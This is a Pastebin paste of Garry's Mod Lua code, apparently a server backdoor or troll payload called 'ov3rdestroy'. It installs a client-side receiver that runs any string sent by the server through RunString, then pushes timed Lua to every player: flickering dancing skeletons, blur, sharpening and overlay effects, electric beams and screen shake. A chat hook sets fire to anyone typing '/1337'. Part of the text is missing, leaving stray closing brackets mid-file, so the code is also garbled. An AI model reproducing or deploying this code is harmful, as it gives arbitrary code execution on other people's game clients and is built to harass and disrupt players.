Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- util.AddNetworkString "ov3rdestroy"
- local lol = {}
- function lol:RandomString( intMin, intMax )
- local ret = ""
- for _ = 1, math.random( intMin, intMax ) do
- ret = ret.. string.char( math.random(65, 90) )
- end
- return ret
- end
- lol.m_tblActions = {}
- lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
- lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
- function lol:PushAction( intChainDelay, func )
- self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
- end
- function lol:NextAction( pPlayer )
- pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
- if not self.m_tblActions[pPlayer.m_intCurAction] then return end
- timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
- if not IsValid( pPlayer ) then return end
- self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
- self:NextAction( pPlayer )
- end )
- end
- function lol:Start( pPlayer )
- pPlayer.m_intCurAction = 0
- self:NextAction( pPlayer )
- end
- function lol:SendLua( pPlayer, strLua )
- net.Start( "ov3rdestroy" )
- net.WriteString( strLua )
- net.Send( pPlayer )
- end
- function lol:SetupPlayer( pPlayer )
- pPlayer:SendLua( "net.Receive(\"ov3rdestroy\", function() RunString(net.ReadString()) end)" )
- end
- for k, v in pairs( player.GetAll() ) do
- lol:SetupPlayer( v )
- timer.Simple( 2, function() lol:Start( v ) end )
- end
- hook.Add( "PlayerAuthed", "wat", function( pPlayer )
- lol:SetupPlayer( pPlayer )
- timer.Simple( 10, function() lol:Start( pPlayer ) end )
- end )
- hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
- if strText:sub( 1, 5 ) == "/1337" then
- pSender:Ignite( 1e9 )
- pSender:ChatPrint( "Nop" )
- pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
- return false
- end
- end )
- local mdl = ClientsideModel( "models/player/skeleton.mdl", RENDERGROUP_BOTH )
- mdl:SetNoDraw( true )
- local posCache, time = {}, 0
- hook.Add( "HUDPaint", "dance", function()
- if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
- local idx = mdl:LookupSequence("taunt_dance")
- mdl.SeqDuration = mdl:SequenceDuration( idx )
- mdl.SeqStart = CurTime()
- mdl:ResetSequence( idx )
- end
- mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
- local w, h = 300, 300
- local ang = Angle( 0, 0, 0 )
- for i = 1, 32 do
- if CurTime() > time then
- posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
- end
- local x, y = posCache[i][1], posCache[i][2]
- cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
- cam.IgnoreZ( true )
- render.SuppressEngineLighting( true )
- render.SetLightingOrigin( mdl:GetPos() )
- render.ResetModelLighting( 1, 1, 1 )
- render.SetColorModulation( 0, 0, 1 )
- mdl:DrawModel()
- render.SuppressEngineLighting( false )
- cam.IgnoreZ( false )
- cam.End3D()
- end
- if CurTime() > time then
- time = CurTime() +0.15
- end
- end )
- surface.PlaySound( "vo/npc/male01/ohno.wav" )
- ]] )
- end )
- --Let the beat drop
- lol:PushAction( 54, function( pPlayer )
- lol:SendLua( pPlayer, [[
- hook.Add( "GetMotionBlurValues", "wat", function()
- return 0, 0, 1, math.sin(CurTime() *13)
- end )
- hook.Add( "RenderScreenspaceEffects", "ohgod", function()
- local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
- DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) )
- DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
- end )
- hook.Add( "PostDrawTranslucentRenderables", "ohgod", function()
- render.SetMaterial( Material("cable/blue_elec") )
- for i = 1, 32 do
- render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
- end
- end )
- timer.Create( "thedrop", 0.42, 0, function()
- util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 )
- end )
- ]] )
- end )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement